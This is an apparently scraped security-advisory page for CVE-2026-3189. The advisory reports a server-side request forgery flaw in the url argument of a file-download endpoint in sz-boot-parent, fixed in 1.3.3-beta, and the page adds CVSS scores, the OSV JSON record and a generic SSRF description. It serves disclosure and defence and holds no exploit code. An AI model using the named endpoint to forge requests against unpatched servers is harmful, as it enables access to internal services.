  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ip SSRF improper categorization in isPublic"
}

GHSA-2P6H-WFW7-47WV

Vulnerability from github – Published: 2026-02-25 18:31 – Updated: 2026-02-25 18:31
VLAI
Details

A weakness has been identified in feiyuchuixue sz-boot-parent up to 1.3.2-beta. This vulnerability affects unknown code of the file /api/admin/common/files/download. Executing a manipulation of the argument url can lead to server-side request forgery. The attack can be executed remotely. Attacks of this nature are highly complex. It is stated that the exploitability is difficult. Upgrading to version 1.3.3-beta is able to resolve this issue. This patch is called aefaabfd7527188bfba3c8c9eee17c316d094802. Upgrading the affected component is advised. The project was informed beforehand and acted very professional: "We have added a URL protocol whitelist validation to the file download interface, allowing only http and https protocols."

Severity
3.1 (Low)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
2.3 (Low)
CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-3189"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-25T17:25:42Z",
    "severity": "LOW"
  },
  "details": "A weakness has been identified in feiyuchuixue sz-boot-parent up to 1.3.2-beta. This vulnerability affects unknown code of the file /api/admin/common/files/download. Executing a manipulation of the argument url can lead to server-side request forgery. The attack can be executed remotely. Attacks of this nature are highly complex. It is stated that the exploitability is difficult. Upgrading to version 1.3.3-beta is able to resolve this issue. This patch is called aefaabfd7527188bfba3c8c9eee17c316d094802. Upgrading the affected component is advised. The project was informed beforehand and acted very professional: \"We have added a URL protocol whitelist validation to the file download interface, allowing only http and https protocols.\"",
  "id": "GHSA-2p6h-wfw7-47wv",
  "modified": "2026-02-25T18:31:39Z",
  "published": "2026-02-25T18:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3189"
    },
    {
      "type": "WEB",
      "url": "https://github.com/feiyuchuixue/sz-boot-parent/commit/aefaabfd7527188bfba3c8c9eee17c316d094802"
    },
    {
      "type": "WEB",
      "url": "https://github.com/feiyuchuixue/sz-boot-parent"
    },
    {
      "type": "WEB",
      "url": "https://github.com/feiyuchuixue/sz-boot-parent/releases/tag/v1.3.3-beta"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yuccun/CVE/blob/main/sz-boot-parent-SSRF_and_Arbitrary_File_Read.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.347747"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.347747"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.754042"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list